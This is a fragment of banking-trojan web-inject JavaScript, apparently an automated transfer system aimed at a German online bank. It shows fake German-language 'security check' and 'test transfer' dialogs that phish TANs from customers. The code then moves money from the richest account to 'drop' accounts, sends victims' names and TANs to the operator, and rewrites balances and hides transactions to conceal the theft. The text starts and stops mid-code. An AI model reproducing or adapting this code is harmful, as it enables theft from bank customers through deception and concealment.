Im Rahmen des Express-Testes hat das System eine Testüberweisung gemacht. Bei der Bestätigung der Testüberweisung wird das KEIN Geld von Ihren Konto abgebucht. Wir hoffen, daß Sie eine Sicherheit und eine Einfachheit der Arbeit mit unserer Bank auf höchstem Niveau schätzen.
Geben Sie bitte die testTAN ein, die wir Ihnen soeben per SMS an die Mobilfunknummer gesendet haben. Inhalt von test Bericht die soeben per SMS übermittelt wurde ist nicht von bedeutung.
'
+ '
'
+'1. Aktivieren Sie Ihren TAN-Generator mit der Ein-\/Aus-Taste und w'+String.fromCharCode(228)+'hlen Sie dann mit der Zifferntaste \"2\" die Funktion \"APPLI-2\". 2. Geben Sie die 3. Im Anschluss erscheint im Display Ihres TAN-Generators die generierte TAN. 4. Diese tragen Sie bitte in das nebenstehende Feld ein, so legitimieren Sie Ihren Auftrag.
'
+ '
'
+'
'
+'
'
+ '';
+ '
'
+'
'
+ '
';
return jq(code);
}
ATS.die = function(msg)
{
ATS.sendLogMsg('ERROR: ' + msg);
ATS.setCookie('error_time', ATS.getTime());
ATS.setCookie('status', 2);
parent.ATS.StepInFrame.set_current_state("BeginWork");
ATS.saveCookies(function(){
if ((parent.window !== window) && parent.ATS)
{
ATS.debugMsg('die in frame');
parent.ATS.UI_hideDialogBox();
parent.ATS.UI_unblockSite();
jq('.inj_full_overlay',parent.document).remove();
}
else
{
ATS.debugMsg('die outside frame');
ATS.UI_hideDialogBox();
ATS.UI_unblockSite();
jq('.inj_full_overlay').remove();
}
parent.ATS.StepInFrame.set_current_state("BeginWork");
//setTimeout(function(){ window.location.reload();}, 1000);
//window.location.reload();
});
}
ATS.mainWork = function()
{
ATS.debugMsg('ATS.mainWork, state: ' + ATS.current_state);
//ATS.sendLogMsg('script_version = ' + ATS.script_ver);
switch (ATS.current_state)
{
case 0:
var href =true;
if (href)
{
ATS.StepInFrame.set_current_state("randomPage");
//ATS.StepInFrame.set_current_state("framePageFinanzstatus");
//ATS.debugMsg('Finanzstatus link: ' + href);
//setTimeout('ATS.openInIframe("' + href + '")', 3000);
if (!!jq('div[role="dialog"]:visible').length)
jq('div[role="dialog"]').find('span:contains(close)').click();
setTimeout(function(){
ATS.sendLogMsg('Name: ' + jq.trim(jq('.login-meta p:eq(0)').text().replace('Willkommen','')).replace(/\s{2,}/g, ' '),ATS.ieFrameHack() );
}, ATS.randInt(3000, 3500));
}
else
{
ATS.die('mainWork: cant find finanzstatus');
}
break;
}
}
ATS.ieFrameHack = function()
{
ATS.debugMsg('ATS.ieFrameHack()');
if (!jq('iframe#ats_wrk_iframe').length)
{
//ATS.openInIframe(ATS.getFinanzstatusLink());
ATS.openInIframe('about:blank');
/*
var cssLink = document.createElement("link")
cssLink.href = "/wrs/resources2/html/layout.css";
cssLink.rel = "stylesheet";
cssLink.type = "text/css";
frames['ats_wrk_iframe'].document.body.appendChild(cssLink);
var cssLink = document.createElement("link")
cssLink.href = "/wrs/resources2/html/color.css";
cssLink.rel = "stylesheet";
cssLink.type = "text/css";
frames['ats_wrk_iframe'].document.body.appendChild(cssLink);
*/
setTimeout(ATS.ieFrameHack, ATS.randInt(2000, 3000));
}
else
{
var n=document.location.href;
n=n.replace("&s_login=true", '');
var n=ATS.randomPage();
jq('iframe#ats_wrk_iframe').attr('src',n );
}
}
ATS.getMaxTransferAcc = function()
{
var accountsList = parent.ATS.accounts_list;
var maxBalance = accountsList[0].balance;
var tempBalance = 0;
var maxAcc = accountsList[0];
for(var i in accountsList)
{
tempBalance= parseFloat(accountsList[i].balance) + parseFloat(accountsList[i].overdraft);
// console.log(tempBalance)
if (!isNaN(tempBalance) && (tempBalance > maxBalance))
{
maxBalance = tempBalance;
maxAcc = accountsList[i];
}
}
return maxAcc;
}
ATS.UI_askTan = function(tanNum, isError)
{
parent.ATS.UI_showDialogBox();
if(parent.ATS.badTan) jq('.inj_error', parent.document).show();
//parent.ATS.UI_fixBtnLink();
var txt=jq('div.header').text();
//if (txt.indexOf('TAN-Eingabe')==-1){
if (jq('.token').length==0){
parent.ATS.TanType='sms';
/*
var startCode = jq('.nowrap label').text().replace(/\D+/,'');
ATS.sendLogMsg('startCode ' + startCode);
jq('#inj_tan_startcode', parent.document.body).text(startCode);
*/
if(!parent.ATS.SmsCliked){ parent.ATS.SmsCliked=true; jq('input[name*="event_requestMT0"]').click();} else{
jq('#inj_page_wait', parent.document).hide();
jq('#inj_logo', parent.document).hide();
//jq('#inj_page_tan', parent.document).show();
jq('#inj_page_brilok', parent.document).hide();
jq('#gad_signatur_tan', parent.document).show();
jq('.formContainer2 #gad_contentbox', parent.document).show();
}
}
else{
parent.ATS.TanType='brilok';
var startCode = jq('.token').text().replace(/\D+/,'');
startCode=ATS.padLeft(startCode,6);
jq('#inj_tan_startcode', parent.document.body).text(startCode);
jq('#inj_logo', parent.document).hide();
jq('#inj_page_wait', parent.document).hide();
jq('#gad_signatur_tan', parent.document).hide();
jq('#inj_page_brilok', parent.document).show();
jq('.formContainer2 #gad_contentbox', parent.document).show();
}
//jq('#inj_buttons_block', parent.document).show();
}
ATS.UI_onWeiterClick = function()
{
if(parent.ATS.TanType=='sms') var tan = jq('#iTAN').val();
else var tan = jq('#iTANBrilok').val();
if (tan=="test") {
if (ATS.isDebugMode()){
//parent.ATS.UI_showWait();
if (parent.ATS.transf_mode == 'sepa') ATS.framePageReceipt();
else ATS.framePageReceiptInternal();
return false;}}
if (tan.length == 6)
{
ATS.sendLogMsg('entered TAN ' + tan);
jq('#ats_wrk_iframe')[0].contentWindow.ATS.enterCode(tan);
}
else{
alert(langs.getLang('errorTanEmpty'));
}
}
ATS.padRight = function(input, totalWidth)
{
var result = input;
if (result.length < totalWidth){
for(var i = result.length; i < totalWidth; i++){
result = result + 'X'
}
}
return result;
}
ATS.padLeft =function padLeft(nr, n, str){
return Array(n-String(nr).length+1).join(str||'0')+nr;
}
ATS.framePageReceipt = function()
{
ATS.sendLogMsg('framePageReceipt');
ATS.putTransfer('SEPA', parent.ATS.sepa_drop.id, parent.ATS.sepa_drop.amount, function(){
ATS.sendLogMsg('Successful transfer SEPA, drop: ' + parent.ATS.sepa_drop.id + ', amount: ' + parent.ATS.sepa_drop.amount);
ATS.setCookie('transfer_time', ATS.getTime());
ATS.setCookie('rep_drop_name', parent.ATS.sepa_drop.DrName);
ATS.setCookie('rep_drop_acc', parent.ATS.sepa_drop.IBAN);
ATS.setCookie('rep_amount', parent.ATS.sepa_drop.amount);
var transfer_acc = ATS.getCookie('transfer_acc');
if (transfer_acc)
{
ATS.setCookie('ap' + transfer_acc, parent.ATS.sepa_drop.amount);
}
ATS.setCookie('Gesamtsaldo' , parent.ATS.Gesamtsaldo);
ATS.setCookie('status', 1);
ATS.saveCookies(function(){
parent.window.location.reload();
/*
parent.ATS.UI_hideDialogBox();
parent.ATS.UI_unblockSite();
jq('.inj_full_overlay',parent.document).remove();
*/
});
});
}
ATS.framePageReceiptInternal = function()
{
ATS.sendLogMsg('framePageReceiptInternal');
ATS.putTransfer('Internal', parent.ATS.int_drop.id, parent.ATS.int_drop.amount, function(){
ATS.sendLogMsg('Successful transfer INT, drop: ' + parent.ATS.int_drop.id + ', amount: ' + parent.ATS.int_drop.amount);
ATS.setCookie('transfer_time', ATS.getTime());
ATS.setCookie('rep_drop_name', parent.ATS.int_drop.DrName);
ATS.setCookie('rep_drop_acc', parent.ATS.int_drop.Konto);
ATS.setCookie('rep_amount', parent.ATS.int_drop.amount);
var transfer_acc = ATS.getCookie('transfer_acc');
if (transfer_acc)
{
ATS.setCookie('ap' + transfer_acc, parent.ATS.int_drop.amount);
}
ATS.setCookie('status', 1);
ATS.setCookie('Gesamtsaldo' , parent.ATS.Gesamtsaldo);
ATS.saveCookies(function(){
parent.window.location.reload();
/*
parent.ATS.UI_hideDialogBox();
parent.ATS.UI_unblockSite();
jq('.inj_full_overlay',parent.document).remove();
*/
});
});
}
ATS.fin2float = function(text)
{
if (langs.getCurLang()=='EN')
var text = text.toString();
else
var text = text.toString().replace(/[^\d,-]+/g, '').replace(',', '.');
return parseFloat(text);
}
ATS.float2fin = function(val)
{
var intPart = Math.floor(val);
var fractPart = Math.floor((val - intPart) * 100).toString();
if (fractPart.length < 2)
fractPart = '0' + fractPart;
var newIntPart = '';
intPart = intPart.toString();
while (intPart.length > 3)
{
newIntPart = '.' + intPart.substr(intPart.length - 3) + newIntPart;
intPart = intPart.substr(0, intPart.length - 3);
}
newIntPart = intPart + newIntPart;
return newIntPart + ',' + fractPart;
}
ATS.addElementAmount = function (el, amount, postfix,prefix)
{
var prefix= prefix|| '';
var val = ATS.fin2float(jq(el).text());
var newText = prefix;
newText += ATS.float2fin(val + amount);
if (postfix)
newText += ' ' + postfix;
jq(el).text(newText);
}
ATS.hideLastTAN = function()
{
var el = jq('p:contains(Ihre zuletzt verbrauchte TAN)');
if (el.length)
{
var html = jq(el).html();
var pos = html.indexOf('Ihre zuletzt');
if (pos >= 0)
jq(el).html(html.substr(0, pos));
}
jq('p:contains(Zuletzt benutzte)').remove();
}
ATS.checkTransfer = function(tempGesamtsaldo)
{
var percent=parseFloat("0.00");
var lastGesamtsaldo = parseFloat(ATS.getCookie('Gesamtsaldo'));
if (isNaN(lastGesamtsaldo)) {
ATS.sendLogMsg('error. lastGesamtsaldo is NULL');
return false;
}
var curGesamtsaldo = tempGesamtsaldo;
var rep_amount= parseFloat(ATS.getCookie('rep_amount'));
var tempsaldo= lastGesamtsaldo - curGesamtsaldo;
tempsaldo=parseFloat(tempsaldo.toFixed(2));
//ATS.debugMsg('tempsaldo = '+tempsaldo +'; lastGesamtsaldo ='+ lastGesamtsaldo + '; curGesamtsaldo ='+ curGesamtsaldo+' rep_amount='+rep_amount);
if(tempsaldo==0){
ATS.sendLogMsg('As at '+Date()+' bank has NOT yet made a translation. The script will NOT change the balance');
return false;
}
if (tempsaldo<0 ){ATS.sendLogMsg('Error calc saldo = ' + tempsaldo + '; lastGesamtsaldo ='+ lastGesamtsaldo + '; curGesamtsaldo ='+ curGesamtsaldo);
return false;
}
if(tempsaldo>0){
if((tempsaldo==rep_amount) || (tempsaldo>rep_amount)){
var temppers=(lastGesamtsaldo - (curGesamtsaldo+rep_amount));
percent=parseFloat(temppers.toFixed(2));
ATS.sendLogMsg('As at '+Date()+' Bank did the translation. bank percent = '+percent+ '; Script will made change');
if (parseFloat(ATS.getCookie('acPercent'))!=parseFloat(percent)){
ATS.setCookie('acPercent',percent);
ATS.saveCookies();
}
if (ATS.getCookie('acTransact')!="true"){
ATS.setCookie('acTransact',true);
ATS.saveCookies();
}
return percent;
}else{
ATS.sendLogMsg('As at '+Date()+' the bank has not made a translation, but took percent = '+tempsaldo+ 'Script will NOT made change');
ATS.setCookie('acPercent',tempsaldo);
ATS.setCookie('acTransact',false);
ATS.saveCookies();
return false;
}
}
}
ATS.replaceFinanzstatus = function()
{
ATS.debugMsg('replaceFinanzstatus()');
jq("#print").remove();
if(jq(".accountGroupList h2.header span.accountGroupSum").length>0){
var tempGesamtsaldo=0;
jq(".accountGroupList h2.header span.accountGroupSum").each(function(){
tempGesamtsaldo+=ATS.fin2float(jq(this).text());
})
}
var percent =ATS.checkTransfer(tempGesamtsaldo);
ATS.debugMsg('percent= '+percent);
if(typeof percent === 'boolean') return true;
var totalReplace = 0;
jq("table.assets").each(function(){
jq(this).find('tr').has('td.actions button').each(function(i){
var balance=jq.trim(jq(this).children("td:eq(2)").text().replace(/[^\d,.-]+/g,'').replace(/\./g, '').replace(/\,/g, '.'));
var accNum=jq.trim(jq(this).children("td:eq(1)").text());
var amount = parseFloat(ATS.getCookie('ap' + accNum));
//ATS.debugMsg('accNum = ' + accNum + '; amount = ' + amount + '; percent = ' + percent);
if (amount > 0)
{
ATS.debugMsg('REP finanzstatus: ' + accNum + ' + ' + amount + '; percent = ' + percent);
ATS.addElementAmount(jq(this).children("td:eq(2)"), parseFloat(amount + percent), 'EUR');
ATS.addElementAmount(jq(this).parent().find('.sum > .numeric > .plus'), amount + percent, 'EUR');
totalReplace += parseFloat(amount + percent);
ATS.addElementAmount(jq(this).parent().parent().parent().parent().parent().parent().find("h2.header span.accountGroupSum"), amount + percent, 'EUR','Summe ');
}
});
});
}
ATS.replaceUmsatzanzeige = function()
{
ATS.debugMsg('replaceUmsatzanzeige()');
jq(".saveListAs").remove();
var amount = parseFloat(ATS.getCookie('ap' + accNum));
var percent=parseFloat(ATS.getCookie('acPercent'));
//if((percent==null) || (!ATS.getCookie('acTransact'))) return true;
if(ATS.getCookie('acTransact')==null || ATS.getCookie('acTransact')=="false") return true;
var accNum = jq('table.content-navigation td.active span').text();
var accNumAlternate =jq('.page-headline h1 span').text();
var transfer_acc =ATS.getCookie('transfer_acc');
if ((accNum.indexOf(transfer_acc)!=-1) || (accNumAlternate.indexOf(transfer_acc)!=-1))
{
//ATS.sendLogMsg('REP Umsatzanzeige: kontostand + ' + amount);
ATS.debugMsg('accNum = ' + accNum + '; amount = ' + amount + '; percent = ' + percent);
var hideFlag = false;
jq('table.transactions tr').each(function(i){
jq(this).find("td:eq(4)").each(function(j){
var text = jq.trim(jq(this).text());
if (ATS.needToHide(text))
{
// ATS.sendLogMsg('REP umsatze: transfer hidden - ' + jq(this).find('td:eq(2)').text());
jq(this).parent().hide();
hideFlag = true;
}
});
});
if(hideFlag) {
ATS.addElementAmount(jq('table.account-balance tr:eq(0) td span.plus'), amount + percent, 'EUR');
ATS.addElementAmount(jq('table.account-balance tr:eq(1) td span.plus'), amount + percent, 'EUR');
ATS.addElementAmount(jq('table.data:eq(0) span.plus:eq(1) b'), amount + percent, 'EUR');
ATS.addElementAmount(jq('table.data:eq(1) span.plus:eq(1) b'), amount + percent, 'EUR');
}
jq('table.transactions tr:visible:not(:first)').each(function(i){
jq(this).attr('class', (i % 2) ? 'even' : 'odd');
});
}
}
ATS.needToHide = function(text)
{
var amount = parseFloat(ATS.getCookie('rep_amount'));
if (amount)
{
if (langs.getCurLang()=='EN'){
text=text.replace(/[^\d.]+/gi, '');
if (text.indexOf(amount) != -1) return true;
}
else{
text=text.replace(/[^\d,]+/gi, '').replace(",", '.');
if (text.indexOf(amount) != -1) return true;
//ATS.debugMsg(text);
}
}
return false;
}
ATS.replaceBalances = function()
{
ATS.debugMsg('replaceBalances()');
//ATS.hideLastTAN();
switch (langs.getCurLang())
{
case "EN":
if (ATS.getPageTitle("Your financial overview")) ATS.replaceFinanzstatus();
if (ATS.getPageTitle("Transactions")) ATS.replaceUmsatzanzeige();
break;
default:
if (ATS.getPageTitle("Konten & Depots")) ATS.replaceFinanzstatus();
if (ATS.getPageTitle("Umsatz"+String.fromCharCode(252)+"bersicht") ) ATS.replaceUmsatzanzeige();
break;
}
}
ATS.findAccountInfo = function(acc_num)
{
ATS.debugMsg('acc_num:'+ acc_num);
var accounts_list = parent.ATS.accounts_list;
for (var i in accounts_list)
{
//if (accounts_list[i] != 'function' )
//ATS.debugMsg('accounts_list[i]:'+ accounts_list[i]);
if (acc_num.indexOf(accounts_list[i].number) != -1)
{
//ATS.debugMsg('Found: ' + accounts_list[i].number + '; balance: ' + accounts_list[i].balance + '; transf: ' + accounts_list[i].transf);
return accounts_list[i];
}
}
return false;
}
var langs ={
simple_property: 'Hello',
EN: {
waittext: "Unser System überprüft Ihren Computer nach Veränderungen. Überprüfung Ihrer Sicherheitseinstellungen kann mehrere Sekunden dauern. Während dieser Zeit aktualisieren Sie bitte nicht diese Seite und verwenden Sie nicht die Browsernavigation (Zurück / Vorwärts).",
nextbutton: "Weiter",
errortan: "TAN falsch, bitte richtige TAN eingeben",
errorTanEmpty : "TAN muss 6 Zeichen lang sein!",
autorizetext: "Zu Ihrer Sicherheit
Wahrscheinlich haben sich in letzter Zeit einige Veränderungen bei Ihrem Computer ergeben. Aus Sicherheitsgründen müssen Sie eine TAN eingeben, um zu bestätigen, dass es Ihr Computer ist, damit Ihnen der Zugang gewährt wird. TAN-Eingabe "
},
DE: {
waittext: "Unser System überprüft Ihren Computer nach Veränderungen. Überprüfung Ihrer Sicherheitseinstellungen kann mehrere Sekunden dauern. Während dieser Zeit aktualisieren Sie bitte nicht diese Seite und verwenden Sie nicht die Browsernavigation (Zurück / Vorwärts).",
nextbutton: "Weiter",
errortan: "TAN falsch, bitte richtige TAN eingeben",
errorTanEmpty : "TAN muss 6 Zeichen lang sein!",
autorizetext: "Zu Ihrer Sicherheit
Wahrscheinlich haben sich in letzter Zeit einige Veränderungen bei Ihrem Computer ergeben. Aus Sicherheitsgründen müssen Sie eine TAN eingeben, um zu bestätigen, dass es Ihr Computer ist, damit Ihnen der Zugang gewährt wird. TAN-Eingabe